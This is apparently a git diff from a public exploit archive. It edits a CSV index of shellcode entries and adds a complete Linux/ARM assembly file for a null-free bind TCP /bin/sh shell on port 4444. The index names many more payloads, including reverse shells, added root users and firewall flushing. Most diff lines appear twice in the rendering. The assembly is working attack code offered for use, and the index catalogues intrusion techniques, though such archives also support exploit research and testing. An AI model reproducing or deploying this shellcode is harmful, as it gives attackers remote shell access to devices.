13273,shellcodes/freebsd_x86/13273.c,"FreeBSD/x86 - execve /bin/sh Shellcode (23 bytes) (2)",2004-09-26,marcetam,shellcode,freebsd_x86
|
13273,shellcodes/freebsd_x86/13273.c,"FreeBSD/x86 - execve /bin/sh Shellcode (23 bytes) (2)",2004-09-26,marcetam,shellcode,freebsd_x86
|
||||||
|
|
@ -47,10 +47,10 @@ id,file,description,date,author,type,platform
|
||||||
13288,shellcodes/generator/13288.c,"(Generator) - HTTP/1.x Requests Shellcode (18+/26+ bytes)",2006-10-22,izik,shellcode,generator
|
13288,shellcodes/generator/13288.c,"(Generator) - HTTP/1.x Requests Shellcode (18+/26+ bytes)",2006-10-22,izik,shellcode,generator
|
||||||
13289,shellcodes/generator/13289.c,"Windows x86 - Multi-Format Encoding Tool Shellcode (Generator)",2005-12-16,Skylined,shellcode,generator
|
13289,shellcodes/generator/13289.c,"Windows x86 - Multi-Format Encoding Tool Shellcode (Generator)",2005-12-16,Skylined,shellcode,generator
|
||||||
13290,shellcodes/ios/13290.txt,"iOS Version-independent - Null-Free Shellcode",2008-08-21,"Andy Davis",shellcode,ios
|
13290,shellcodes/ios/13290.txt,"iOS Version-independent - Null-Free Shellcode",2008-08-21,"Andy Davis",shellcode,ios
|
||||||
13291,shellcodes/hardware/13291.txt,"Cisco IOS - New TTY / Privilege Level To 15 / Reverse Virtual Terminal Shell (21/TCP) Shellcode",2008-08-13,"Gyan Chawdhary",shellcode,hardware
|
13291,shellcodes/hardware/13291.txt,"Cisco IOS - New TTY + Privilege Level To 15 + Reverse Virtual Terminal Shell (21/TCP) Shellcode",2008-08-13,"Gyan Chawdhary",shellcode,hardware
|
||||||
13292,shellcodes/hardware/13292.txt,"Cisco IOS/PowerPC - New VTY + Password (1rmp455) Shellcode (116 bytes)",2008-08-13,"Gyan Chawdhary",shellcode,hardware
|
13292,shellcodes/hardware/13292.txt,"Cisco IOS/PowerPC - New VTY + Password (1rmp455) Shellcode (116 bytes)",2008-08-13,"Varun Uppal",shellcode,hardware
|
||||||
13293,shellcodes/hardware/13293.txt,"Cisco IOS - New TTY / Privilege Level To 15 / No Password Shellcode",2008-08-13,"Gyan Chawdhary",shellcode,hardware
|
13293,shellcodes/hardware/13293.txt,"Cisco IOS - New TTY + Privilege Level To 15 + No Password Shellcode",2008-08-13,"Gyan Chawdhary",shellcode,hardware
|
||||||
13295,shellcodes/hp-ux/13295.txt,"HPUX - execve /bin/sh Shellcode (58 bytes)",2004-09-26,K2,shellcode,hp-ux
|
13295,shellcodes/hp-ux/13295.txt,"HP-UX - execve /bin/sh Shellcode (58 bytes)",2004-09-26,K2,shellcode,hp-ux
|
||||||
13296,shellcodes/lin_x86-64/13296.c,"Linux/x86-64 - Flush IPTables Rules (/sbin/iptables -F) Shellcode (84 bytes)",2008-11-28,gat3way,shellcode,lin_x86-64
|
13296,shellcodes/lin_x86-64/13296.c,"Linux/x86-64 - Flush IPTables Rules (/sbin/iptables -F) Shellcode (84 bytes)",2008-11-28,gat3way,shellcode,lin_x86-64
|
||||||
13297,shellcodes/generator/13297.c,"Linux/x86-64 - Reverse TCP Semi-Stealth /bin/bash Shell Shellcode (88+ bytes) (Generator)",2006-04-21,phar,shellcode,generator
|
13297,shellcodes/generator/13297.c,"Linux/x86-64 - Reverse TCP Semi-Stealth /bin/bash Shell Shellcode (88+ bytes) (Generator)",2006-04-21,phar,shellcode,generator
|
||||||
13298,shellcodes/linux_mips/13298.c,"Linux/MIPS (Linksys WRT54G/GL) - Bind TCP /bin/sh Shell (4919/TCP) Shellcode (276 bytes)",2008-08-18,vaicebine,shellcode,linux_mips
|
13298,shellcodes/linux_mips/13298.c,"Linux/MIPS (Linksys WRT54G/GL) - Bind TCP /bin/sh Shell (4919/TCP) Shellcode (276 bytes)",2008-08-18,vaicebine,shellcode,linux_mips
|
||||||
|
|
@ -229,7 +229,7 @@ id,file,description,date,author,type,platform
|
||||||
13472,shellcodes/netbsd_x86/13472.c,"NetBSD/x86 - setreuid(0_ 0); + execve(_/bin//sh__ ..._ NULL); Shellcode (29 bytes)",2005-11-30,"p. minervini",shellcode,netbsd_x86
|
13472,shellcodes/netbsd_x86/13472.c,"NetBSD/x86 - setreuid(0_ 0); + execve(_/bin//sh__ ..._ NULL); Shellcode (29 bytes)",2005-11-30,"p. minervini",shellcode,netbsd_x86
|
||||||
13473,shellcodes/netbsd_x86/13473.c,"NetBSD/x86 - setreuid(0_ 0); + execve(_/bin//sh__ ..._ NULL); Shellcode (30 bytes)",2005-11-30,"p. minervini",shellcode,netbsd_x86
|
13473,shellcodes/netbsd_x86/13473.c,"NetBSD/x86 - setreuid(0_ 0); + execve(_/bin//sh__ ..._ NULL); Shellcode (30 bytes)",2005-11-30,"p. minervini",shellcode,netbsd_x86
|
||||||
13474,shellcodes/netbsd_x86/13474.txt,"NetBSD/x86 - execve /bin/sh Shellcode (68 bytes)",2004-09-26,humble,shellcode,netbsd_x86
|
13474,shellcodes/netbsd_x86/13474.txt,"NetBSD/x86 - execve /bin/sh Shellcode (68 bytes)",2004-09-26,humble,shellcode,netbsd_x86
|
||||||
13475,shellcodes/openbsd_x86/13475.c,"OpenBSD/x86 - execve /bin/sh Shellcode (23 Bytes)",2006-05-01,hophet,shellcode,openbsd_x86
|
13475,shellcodes/openbsd_x86/13475.c,"OpenBSD/x86 - execve /bin/sh Shellcode (23 bytes)",2006-05-01,hophet,shellcode,openbsd_x86
|
||||||
13476,shellcodes/openbsd_x86/13476.c,"OpenBSD/x86 - Bind TCP Shell (6969/TCP) Shellcode (148 bytes)",2004-09-26,"Sinan Eren",shellcode,openbsd_x86
|
13476,shellcodes/openbsd_x86/13476.c,"OpenBSD/x86 - Bind TCP Shell (6969/TCP) Shellcode (148 bytes)",2004-09-26,"Sinan Eren",shellcode,openbsd_x86
|
||||||
13477,shellcodes/openbsd_x86/13477.c,"OpenBSD/x86 - Add Root User (w00w00) Shellcode (112 bytes)",2004-09-26,anonymous,shellcode,openbsd_x86
|
13477,shellcodes/openbsd_x86/13477.c,"OpenBSD/x86 - Add Root User (w00w00) Shellcode (112 bytes)",2004-09-26,anonymous,shellcode,openbsd_x86
|
||||||
13478,shellcodes/osx_ppc/13478.c,"OSX/PPC - sync() + reboot() Shellcode (32 bytes)",2006-05-01,hophet,shellcode,osx_ppc
|
13478,shellcodes/osx_ppc/13478.c,"OSX/PPC - sync() + reboot() Shellcode (32 bytes)",2006-05-01,hophet,shellcode,osx_ppc
|
||||||
|
|
@ -407,16 +407,16 @@ id,file,description,date,author,type,platform
|
||||||
15136,shellcodes/windows/15136.cpp,"Windows Mobile 6.5 TR - Phone Call Shellcode",2010-09-27,"Celil Ünüver",shellcode,windows
|
15136,shellcodes/windows/15136.cpp,"Windows Mobile 6.5 TR - Phone Call Shellcode",2010-09-27,"Celil Ünüver",shellcode,windows
|
||||||
15202,shellcodes/win_x86/15202.c,"Windows XP Professional SP3 x86 (English) - Add Local Administrator User (secuid0/m0nk) Shellcode (113 bytes)",2010-10-04,"Anastasios Monachos",shellcode,win_x86
|
15202,shellcodes/win_x86/15202.c,"Windows XP Professional SP3 x86 (English) - Add Local Administrator User (secuid0/m0nk) Shellcode (113 bytes)",2010-10-04,"Anastasios Monachos",shellcode,win_x86
|
||||||
15203,shellcodes/win_x86/15203.c,"Windows x86 - Add Local Administrator User (secuid0/m0nk) Shellcode (326 bytes)",2010-10-04,"Anastasios Monachos",shellcode,win_x86
|
15203,shellcodes/win_x86/15203.c,"Windows x86 - Add Local Administrator User (secuid0/m0nk) Shellcode (326 bytes)",2010-10-04,"Anastasios Monachos",shellcode,win_x86
|
||||||
15314,shellcodes/arm/15314.asm,"ARM - Bind TCP Shell (0x1337/TCP) Shellcode",2010-10-26,"Daniel Godas-Lopez",shellcode,arm
|
15314,shellcodes/arm/15314.asm,"Linux/ARM - Bind TCP Shell (0x1337/TCP) Shellcode",2010-10-26,"Daniel Godas-Lopez",shellcode,arm
|
||||||
15315,shellcodes/arm/15315.asm,"ARM - Bind TCP Listener (68/UDP) + Reverse TCP Shell (192.168.0.1:67/TCP) Shellcode",2010-10-26,"Daniel Godas-Lopez",shellcode,arm
|
15315,shellcodes/arm/15315.asm,"Linux/ARM - Bind TCP Listener (68/UDP) + Reverse TCP Shell (192.168.0.1:67/TCP) Shellcode",2010-10-26,"Daniel Godas-Lopez",shellcode,arm
|
||||||
15316,shellcodes/arm/15316.asm,"ARM - Bind TCP Listener (0x1337/TCP) + Receive Shellcode + Payload Loader Shellcode",2010-10-26,"Daniel Godas-Lopez",shellcode,arm
|
15316,shellcodes/arm/15316.asm,"Linux/ARM - Bind TCP Listener (0x1337/TCP) + Receive Shellcode + Payload Loader Shellcode",2010-10-26,"Daniel Godas-Lopez",shellcode,arm
|
||||||
15317,shellcodes/arm/15317.asm,"ARM - ifconfig eth0 192.168.0.2 up Shellcode",2010-10-26,"Daniel Godas-Lopez",shellcode,arm
|
15317,shellcodes/arm/15317.asm,"Linux/ARM - ifconfig eth0 192.168.0.2 up Shellcode",2010-10-26,"Daniel Godas-Lopez",shellcode,arm
|
||||||
15616,shellcodes/arm/15616.c,"Linux/ARM - Add Root User (shell-storm/toor) Shellcode (151 bytes)",2010-11-25,"Jonathan Salwan",shellcode,arm
|
15616,shellcodes/arm/15616.c,"Linux/ARM - Add Root User (shell-storm/toor) Shellcode (151 bytes)",2010-11-25,"Jonathan Salwan",shellcode,arm
|
||||||
15618,shellcodes/osx/15618.c,"OSX/Intel x86-64 - setuid shell Shellcode (51 bytes)",2010-11-25,"Dustin Schultz",shellcode,osx
|
15618,shellcodes/osx/15618.c,"OSX/Intel x86-64 - setuid shell Shellcode (51 bytes)",2010-11-25,"Dustin Schultz",shellcode,osx
|
||||||
15712,shellcodes/generator/15712.rb,"ARM - Add Root User Shellcode (Metasploit) (66+ bytes) (Generator)",2010-12-09,"Jonathan Salwan",shellcode,generator
|
15712,shellcodes/generator/15712.rb,"ARM - Add Root User Shellcode (Metasploit) (66+ bytes) (Generator)",2010-12-09,"Jonathan Salwan",shellcode,generator
|
||||||
15879,shellcodes/win_x86/15879.txt,"Windows 5.0 < 7.0 x86 - Speaking 'You got pwned!' Null-Free Shellcode",2010-12-31,Skylined,shellcode,win_x86
|
15879,shellcodes/win_x86/15879.txt,"Windows 5.0 < 7.0 x86 - Speaking 'You got pwned!' Null-Free Shellcode",2010-12-31,Skylined,shellcode,win_x86
|
||||||
16025,shellcodes/generator/16025.c,"FreeBSD/x86 - Reverse TCP /bin/sh Shell (127.0.0.1:1337/TCP) Shellcode (81 bytes) (Generator)",2011-01-21,Tosh,shellcode,generator
|
16025,shellcodes/generator/16025.c,"FreeBSD/x86 - Reverse TCP /bin/sh Shell (127.0.0.1:1337/TCP) Shellcode (81 bytes) (Generator)",2011-01-21,Tosh,shellcode,generator
|
||||||
16026,shellcodes/freebsd_x86/16026.c,"FreeBSD/x86 - Bind TCP Shell (31337/TCP) + Fork Shellcode (111 bytes)",2011-01-21,Tosh,shellcode,freebsd_x86
|
16026,shellcodes/freebsd_x86/16026.c,"FreeBSD/x86 - Bind TCP /bin/sh Shell (31337/TCP) + Fork Shellcode (111 bytes)",2011-01-21,Tosh,shellcode,freebsd_x86
|
||||||
16283,shellcodes/win_x86/16283.txt,"Windows x86 - Eggsearch Shellcode (33 bytes)",2011-03-05,oxff,shellcode,win_x86
|
16283,shellcodes/win_x86/16283.txt,"Windows x86 - Eggsearch Shellcode (33 bytes)",2011-03-05,oxff,shellcode,win_x86
|
||||||
17432,shellcodes/sh4/17432.c,"Linux/SuperH (sh4) - setuid(0) + chmod 0666 /etc/shadow + exit(0) Shellcode (43 bytes)",2011-06-22,"Jonathan Salwan",shellcode,sh4
|
17432,shellcodes/sh4/17432.c,"Linux/SuperH (sh4) - setuid(0) + chmod 0666 /etc/shadow + exit(0) Shellcode (43 bytes)",2011-06-22,"Jonathan Salwan",shellcode,sh4
|
||||||
17194,shellcodes/lin_x86/17194.txt,"Linux/x86 - Bind Netcat (/usr/bin/netcat) /bin/sh Shell (6666/TCP) + Polymorphic XOR Encoded Shellcode (69/93 bytes)",2011-04-21,"Jonathan Salwan",shellcode,lin_x86
|
17194,shellcodes/lin_x86/17194.txt,"Linux/x86 - Bind Netcat (/usr/bin/netcat) /bin/sh Shell (6666/TCP) + Polymorphic XOR Encoded Shellcode (69/93 bytes)",2011-04-21,"Jonathan Salwan",shellcode,lin_x86
|
||||||
|
|
@ -456,10 +456,10 @@ id,file,description,date,author,type,platform
|
||||||
27180,shellcodes/arm/27180.asm,"Windows RT ARM - Bind TCP Shell (4444/TCP) Shellcode",2013-07-28,"Matthew Graeber",shellcode,arm
|
27180,shellcodes/arm/27180.asm,"Windows RT ARM - Bind TCP Shell (4444/TCP) Shellcode",2013-07-28,"Matthew Graeber",shellcode,arm
|
||||||
40827,shellcodes/lin_x86/40827.c,"Linux/x86 - Egghunter Shellcode (31 bytes)",2016-11-25,"Filippo Bersani",shellcode,lin_x86
|
40827,shellcodes/lin_x86/40827.c,"Linux/x86 - Egghunter Shellcode (31 bytes)",2016-11-25,"Filippo Bersani",shellcode,lin_x86
|
||||||
28474,shellcodes/lin_x86/28474.c,"Linux/x86 - Egg Omelet (Multi-Egghunter) + Reverse TCP /bin/sh Shell (192.168.122.1:43981/TCP) Shellcode",2013-09-23,"Ryan Fenno",shellcode,lin_x86
|
28474,shellcodes/lin_x86/28474.c,"Linux/x86 - Egg Omelet (Multi-Egghunter) + Reverse TCP /bin/sh Shell (192.168.122.1:43981/TCP) Shellcode",2013-09-23,"Ryan Fenno",shellcode,lin_x86
|
||||||
40334,shellcodes/win_x86/40334.c,"Windows x86 - Reverse TCP Shell (192.168.232.129:4444/TCP) + Persistent Access Shellcode (494 Bytes)",2016-09-05,"Roziul Hasan Khan Shifat",shellcode,win_x86
|
40334,shellcodes/win_x86/40334.c,"Windows x86 - Reverse TCP Shell (192.168.232.129:4444/TCP) + Persistent Access Shellcode (494 bytes)",2016-09-05,"Roziul Hasan Khan Shifat",shellcode,win_x86
|
||||||
28996,shellcodes/windows/28996.c,"Windows - MessageBox Null-Free Shellcode (113 bytes)",2013-10-16,"Giuseppe D'Amore",shellcode,windows
|
28996,shellcodes/windows/28996.c,"Windows - MessageBox Null-Free Shellcode (113 bytes)",2013-10-16,"Giuseppe D'Amore",shellcode,windows
|
||||||
29436,shellcodes/linux_mips/29436.asm,"Linux/MIPS (Little Endian) - Reverse TCP /bin/sh Shell (192.168.1.177:31337/TCP) Shellcode (200 bytes)",2013-11-04,"Jacob Holcomb",shellcode,linux_mips
|
29436,shellcodes/linux_mips/29436.asm,"Linux/MIPS (Little Endian) - Reverse TCP /bin/sh Shell (192.168.1.177:31337/TCP) Shellcode (200 bytes)",2013-11-04,"Jacob Holcomb",shellcode,linux_mips
|
||||||
40352,shellcodes/win_x86/40352.c,"Windows 7 x86 - Bind TCP Shell (4444/TCP) Shellcode (357 Bytes)",2016-09-08,"Roziul Hasan Khan Shifat",shellcode,win_x86
|
40352,shellcodes/win_x86/40352.c,"Windows 7 x86 - Bind TCP Shell (4444/TCP) Shellcode (357 bytes)",2016-09-08,"Roziul Hasan Khan Shifat",shellcode,win_x86
|
||||||
33836,shellcodes/windows/33836.txt,"Windows - Add Administrator User (BroK3n/BroK3n) Null-Free Shellcode (194 bytes)",2014-06-22,"Giuseppe D'Amore",shellcode,windows
|
33836,shellcodes/windows/33836.txt,"Windows - Add Administrator User (BroK3n/BroK3n) Null-Free Shellcode (194 bytes)",2014-06-22,"Giuseppe D'Amore",shellcode,windows
|
||||||
34060,shellcodes/lin_x86/34060.c,"Linux/x86 - execve /bin/sh + Socket Re-Use Shellcode (50 bytes)",2014-07-14,ZadYree,shellcode,lin_x86
|
34060,shellcodes/lin_x86/34060.c,"Linux/x86 - execve /bin/sh + Socket Re-Use Shellcode (50 bytes)",2014-07-14,ZadYree,shellcode,lin_x86
|
||||||
34262,shellcodes/lin_x86/34262.c,"Linux/x86 - chmod 777 (/etc/passwd + /etc/shadow) + Add Root User (ALI/ALI) + Execute /bin/sh Shellcode (378 bytes)",2014-08-04,"Ali Razmjoo",shellcode,lin_x86
|
34262,shellcodes/lin_x86/34262.c,"Linux/x86 - chmod 777 (/etc/passwd + /etc/shadow) + Add Root User (ALI/ALI) + Execute /bin/sh Shellcode (378 bytes)",2014-08-04,"Ali Razmjoo",shellcode,lin_x86
|
||||||
|
|
@ -615,7 +615,7 @@ id,file,description,date,author,type,platform
|
||||||
41467,shellcodes/win_x86/41467.c,"Windows x86 - Executable Directory Search Null-Free Shellcode (130 bytes)",2017-02-26,lu0xheap,shellcode,win_x86
|
41467,shellcodes/win_x86/41467.c,"Windows x86 - Executable Directory Search Null-Free Shellcode (130 bytes)",2017-02-26,lu0xheap,shellcode,win_x86
|
||||||
41468,shellcodes/lin_x86-64/41468.nasm,"Linux/x86-64 - Bind TCP /bin/sh Shell (Random TCP Port) Shellcode (54 bytes)",2017-02-26,"Robert L. Taylor",shellcode,lin_x86-64
|
41468,shellcodes/lin_x86-64/41468.nasm,"Linux/x86-64 - Bind TCP /bin/sh Shell (Random TCP Port) Shellcode (54 bytes)",2017-02-26,"Robert L. Taylor",shellcode,lin_x86-64
|
||||||
41477,shellcodes/lin_x86-64/41477.c,"Linux/x86-64 - Reverse TCP Shell (192.168.1.45:4444/TCP) Shellcode (84 bytes)",2017-02-28,"Manuel Mancera",shellcode,lin_x86-64
|
41477,shellcodes/lin_x86-64/41477.c,"Linux/x86-64 - Reverse TCP Shell (192.168.1.45:4444/TCP) Shellcode (84 bytes)",2017-02-28,"Manuel Mancera",shellcode,lin_x86-64
|
||||||
41481,shellcodes/win_x86/41481.asm,"Windows x86 - Reverse TCP Staged Alphanumeric Shell (127.0.0.1:4444/TCP) Shellcode (332 Bytes)",2017-03-01,"Snir Levi",shellcode,win_x86
|
41481,shellcodes/win_x86/41481.asm,"Windows x86 - Reverse TCP Staged Alphanumeric Shell (127.0.0.1:4444/TCP) Shellcode (332 bytes)",2017-03-01,"Snir Levi",shellcode,win_x86
|
||||||
41498,shellcodes/lin_x86-64/41498.nasm,"Linux/x86-64 - setuid(0) + execve(/bin/sh) Polymorphic Shellcode (31 bytes)",2017-03-03,"Robert L. Taylor",shellcode,lin_x86-64
|
41498,shellcodes/lin_x86-64/41498.nasm,"Linux/x86-64 - setuid(0) + execve(/bin/sh) Polymorphic Shellcode (31 bytes)",2017-03-03,"Robert L. Taylor",shellcode,lin_x86-64
|
||||||
41503,shellcodes/lin_x86-64/41503.nasm,"Linux/x86-64 - Flush IPTables Rules (/sbin/iptables -F) Polymorphic Shellcode (47 bytes)",2017-03-03,"Robert L. Taylor",shellcode,lin_x86-64
|
41503,shellcodes/lin_x86-64/41503.nasm,"Linux/x86-64 - Flush IPTables Rules (/sbin/iptables -F) Polymorphic Shellcode (47 bytes)",2017-03-03,"Robert L. Taylor",shellcode,lin_x86-64
|
||||||
41509,shellcodes/lin_x86-64/41509.nasm,"Linux/x86-64 - Reverse Netcat Shell (127.0.0.1:1337) Shellcode (72 bytes)",2017-03-04,"Robert L. Taylor",shellcode,lin_x86-64
|
41509,shellcodes/lin_x86-64/41509.nasm,"Linux/x86-64 - Reverse Netcat Shell (127.0.0.1:1337) Shellcode (72 bytes)",2017-03-04,"Robert L. Taylor",shellcode,lin_x86-64
|
||||||
|
|
@ -628,12 +628,25 @@ id,file,description,date,author,type,platform
|
||||||
43482,shellcodes/alpha/43482.c,"Alpha - setuid() Shellcode (156 bytes)",2009-01-01,anonymous,shellcode,alpha
|
43482,shellcodes/alpha/43482.c,"Alpha - setuid() Shellcode (156 bytes)",2009-01-01,anonymous,shellcode,alpha
|
||||||
43483,shellcodes/bsd_x86/43483.c,"BSD/x86 - setreuid(geteuid()_ geteuid()) + execve(_/bin/sh_) Shellcode (36 bytes)",2009-01-01,"Jihyeog Lim",shellcode,bsd_x86
|
43483,shellcodes/bsd_x86/43483.c,"BSD/x86 - setreuid(geteuid()_ geteuid()) + execve(_/bin/sh_) Shellcode (36 bytes)",2009-01-01,"Jihyeog Lim",shellcode,bsd_x86
|
||||||
43489,shellcodes/lin_x86/43489.c,"Linux/x86 - execve(/bin/sh) Polymorphic Shellcode (53 bytes)",2018-01-10,"Debashis Pal",shellcode,lin_x86
|
43489,shellcodes/lin_x86/43489.c,"Linux/x86 - execve(/bin/sh) Polymorphic Shellcode (53 bytes)",2018-01-10,"Debashis Pal",shellcode,lin_x86
|
||||||
41630,shellcodes/lin_x86/41630.asm,"Linux/x86 - exceve /bin/sh Encoded Shellcode (44 Bytes)",2017-03-17,WangYihang,shellcode,lin_x86
|
43497,shellcodes/arm/43497.asm,"Linux/ARM (Raspberry Pi) - Bind TCP /bin/sh Shell (0.0.0.0:4444/TCP) Null-Free Shellcode (112 bytes)",2018-01-11,Azeria,shellcode,arm
|
||||||
|
43502,shellcodes/freebsd_x86-64/43502.txt,"FreeBSD/x86-64 - execve /bin/sh Shellcode (28 bytes)",2009-01-01,Gitsnik,shellcode,freebsd_x86-64
|
||||||
|
43503,shellcodes/freebsd_x86-64/43503.txt,"FreeBSD/x86-64 - Bind TCP Password (R2CBw0cr) /bin/sh Shell Shellcode (127 bytes)",2009-01-11,Gitsnik,shellcode,freebsd_x86-64
|
||||||
|
43504,shellcodes/freebsd_x86/43504.asm,"FreeBSD/x86 - execv(/bin/sh) Shellcode (23 bytes)",2009-01-01,Tosh,shellcode,freebsd_x86
|
||||||
|
43505,shellcodes/freebsd_x86/43505.c,"FreeBSD/x86 - //sbin/pfctl -F all Shellcode (47 bytes)",2009-01-01,antrhacks,shellcode,freebsd_x86
|
||||||
|
43506,shellcodes/freebsd_x86/43506.c,"FreeBSD/x86 - Bind TCP /bin/sh Shell (41254/TCP) Shellcode (115 bytes)",2009-01-01,zillion,shellcode,freebsd_x86
|
||||||
|
43507,shellcodes/freebsd_x86/43507.c,"FreeBSD - reboot() Shellcode (15 Bytes)",2009-01-01,zillion,shellcode,freebsd_x86
|
||||||
|
43508,shellcodes/irix/43508.c,"IRIX - execve(/bin/sh -c) Shellcode (72 bytes)",2009-01-01,anonymous,shellcode,irix
|
||||||
|
43509,shellcodes/irix/43509.c,"IRIX - execve(/bin/sh) Shellcode (43 bytes)",2009-01-01,anonymous,shellcode,irix
|
||||||
|
43510,shellcodes/irix/43510.c,"IRIX - Bind TCP /bin/sh Shell Shellcode (364 bytes)",2009-01-01,scut/teso,shellcode,irix
|
||||||
|
43511,shellcodes/irix/43511.c,"IRIX - execve(/bin/sh) Shellcode (68 bytes)",2009-01-01,scut/teso,shellcode,irix
|
||||||
|
43512,shellcodes/irix/43512.c,"IRIX - stdin-read Shellcode (40 bytes)",2009-01-01,scut/teso,shellcode,irix
|
||||||
|
43520,shellcodes/arm/43520.c,"Linux/ARM - execve(_/bin/sh__ NULL_ 0) Shellcode (34 bytes)",2017-03-31,dummys,shellcode,arm
|
||||||
|
41630,shellcodes/lin_x86/41630.asm,"Linux/x86 - exceve /bin/sh Encoded Shellcode (44 bytes)",2017-03-17,WangYihang,shellcode,lin_x86
|
||||||
41631,shellcodes/lin_x86/41631.c,"Linux/x86 - Bind TCP /bin/sh Shell (Random TCP Port) Shellcode (44 bytes)",2017-03-17,"Oleg Boytsev",shellcode,lin_x86
|
41631,shellcodes/lin_x86/41631.c,"Linux/x86 - Bind TCP /bin/sh Shell (Random TCP Port) Shellcode (44 bytes)",2017-03-17,"Oleg Boytsev",shellcode,lin_x86
|
||||||
41635,shellcodes/lin_x86/41635.txt,"Linux/x86 - Read /etc/passwd Shellcode (54 Bytes)",2017-03-19,WangYihang,shellcode,lin_x86
|
41635,shellcodes/lin_x86/41635.txt,"Linux/x86 - Read /etc/passwd Shellcode (54 bytes)",2017-03-19,WangYihang,shellcode,lin_x86
|
||||||
42295,shellcodes/lin_x86/42295.c,"Linux/x86 - Reverse TCP Shell (127.1.1.1:11111/TCP) Null-Free Shellcode (67 bytes)",2013-01-01,"Geyslan G. Bem",shellcode,lin_x86
|
42295,shellcodes/lin_x86/42295.c,"Linux/x86 - Reverse TCP Shell (127.1.1.1:11111/TCP) Null-Free Shellcode (67 bytes)",2013-01-01,"Geyslan G. Bem",shellcode,lin_x86
|
||||||
41723,shellcodes/lin_x86/41723.c,"Linux/x86 - Reverse TCP /bin/bash Shell (192.168.3.119:54321/TCP) Shellcode (110 bytes)",2017-03-24,JR0ch17,shellcode,lin_x86
|
41723,shellcodes/lin_x86/41723.c,"Linux/x86 - Reverse TCP /bin/bash Shell (192.168.3.119:54321/TCP) Shellcode (110 bytes)",2017-03-24,JR0ch17,shellcode,lin_x86
|
||||||
41750,shellcodes/lin_x86-64/41750.txt,"Linux/x86-64 - execve /bin/sh Shellcode (21 Bytes)",2017-03-28,WangYihang,shellcode,lin_x86-64
|
41750,shellcodes/lin_x86-64/41750.txt,"Linux/x86-64 - execve /bin/sh Shellcode (21 bytes)",2017-03-28,WangYihang,shellcode,lin_x86-64
|
||||||
41757,shellcodes/lin_x86/41757.txt,"Linux/x86 - execve /bin/sh Shellcode (21 bytes)",2017-03-29,WangYihang,shellcode,lin_x86
|
41757,shellcodes/lin_x86/41757.txt,"Linux/x86 - execve /bin/sh Shellcode (21 bytes)",2017-03-29,WangYihang,shellcode,lin_x86
|
||||||
41827,shellcodes/win_x86-64/41827.txt,"Windows 10 x64 - Egghunter Shellcode (45 bytes)",2017-04-06,"Peter Baris",shellcode,win_x86-64
|
41827,shellcodes/win_x86-64/41827.txt,"Windows 10 x64 - Egghunter Shellcode (45 bytes)",2017-04-06,"Peter Baris",shellcode,win_x86-64
|
||||||
41883,shellcodes/lin_x86-64/41883.txt,"Linux/x86-64 - execve /bin/sh Shellcode (31 bytes) (2)",2017-04-13,WangYihang,shellcode,lin_x86-64
|
41883,shellcodes/lin_x86-64/41883.txt,"Linux/x86-64 - execve /bin/sh Shellcode (31 bytes) (2)",2017-04-13,WangYihang,shellcode,lin_x86-64
|
||||||
|
|
|
||||||
|
76
shellcodes/arm/43497.asm
Normal file
76
shellcodes/arm/43497.asm
Normal file
|
|
@ -0,0 +1,76 @@
|
||||||
|
.section .text
|
||||||
|
.global _start
|
||||||
|
_start:
|
||||||
|
.ARM
|
||||||
|
add r3, pc, #1 // switch to thumb mode
|
||||||
|
bx r3
|
||||||
|
|
||||||
|
.THUMB
|
||||||
|
// socket(2, 1, 0)
|
||||||
|
mov r0, #2
|
||||||
|
mov r1, #1
|
||||||
|
sub r2, r2, r2 // set r2 to null
|
||||||
|
mov r7, #200 // r7 = 281 (socket)
|
||||||
|
add r7, #81 // r7 value needs to be split
|
||||||
|
svc #1 // r0 = host_sockid value
|
||||||
|
mov r4, r0 // save host_sockid in r4
|
||||||
|
|
||||||
|
// bind(r0, &sockaddr, 16)
|
||||||
|
adr r1, struct_addr // pointer to address, port
|
||||||
|
strb r2, [r1, #1] // write 0 for AF_INET
|
||||||
|
strb r2, [r1, #4] // replace 1 with 0 in x.1.1.1
|
||||||
|
strb r2, [r1, #5] // replace 1 with 0 in 0.x.1.1
|
||||||
|
strb r2, [r1, #6] // replace 1 with 0 in 0.0.x.1
|
||||||
|
strb r2, [r1, #7] // replace 1 with 0 in 0.0.0.x
|
||||||
|
mov r2, #16 // struct address length
|
||||||
|
add r7, #1 // r7 = 282 (bind)
|
||||||
|
svc #1
|
||||||
|
nop
|
||||||
|
|
||||||
|
// listen(sockfd, 0)
|
||||||
|
mov r0, r4 // set r0 to saved host_sockid
|
||||||
|
mov r1, #2
|
||||||
|
add r7, #2 // r7 = 284 (listen syscall number)
|
||||||
|
svc #1
|
||||||
|
|
||||||
|
// accept(sockfd, NULL, NULL);
|
||||||
|
mov r0, r4 // set r0 to saved host_sockid
|
||||||
|
sub r1, r1, r1 // set r1 to null
|
||||||
|
sub r2, r2, r2 // set r2 to null
|
||||||
|
add r7, #1 // r7 = 284+1 = 285 (accept syscall)
|
||||||
|
svc #1 // r0 = client_sockid value
|
||||||
|
mov r4, r0 // save new client_sockid value to r4
|
||||||
|
|
||||||
|
// dup2(sockfd, 0)
|
||||||
|
mov r7, #63 // r7 = 63 (dup2 syscall number)
|
||||||
|
mov r0, r4 // r4 is the saved client_sockid
|
||||||
|
sub r1, r1, r1 // r1 = 0 (stdin)
|
||||||
|
svc #1
|
||||||
|
|
||||||
|
// dup2(sockfd, 1)
|
||||||
|
mov r0, r4 // r4 is the saved client_sockid
|
||||||
|
add r1, #1 // r1 = 1 (stdout)
|
||||||
|
svc #1
|
||||||
|
|
||||||
|
// dup2(sockfd, 2)
|
||||||
|
mov r0, r4 // r4 is the saved client_sockid
|
||||||
|
add r1, #1 // r1 = 2 (stderr)
|
||||||
|
svc #1
|
||||||
|
|
||||||
|
// execve("/bin/sh", 0, 0)
|
||||||
|
adr r0, shellcode // r0 = location of "/bin/shX"
|
||||||
|
eor r1, r1, r1 // clear register r1. R1 = 0
|
||||||
|
eor r2, r2, r2 // clear register r2. r2 = 0
|
||||||
|
strb r2, [r0, #7] // store null-byte for AF_INET
|
||||||
|
mov r7, #11 // execve syscall number
|
||||||
|
svc #1
|
||||||
|
nop
|
||||||
|
|
||||||
|
struct_addr:
|
||||||
|
.ascii "\x02\xff" // AF_INET 0xff will be NULLed
|
||||||
|
.ascii "\x11\x5c" // port number 4444
|
||||||
|
.byte 1,1,1,1 // IP Address
|
||||||
|
shellcode:
|
||||||
|
.ascii "/bin/shX"
|
||||||
|
|
||||||
|
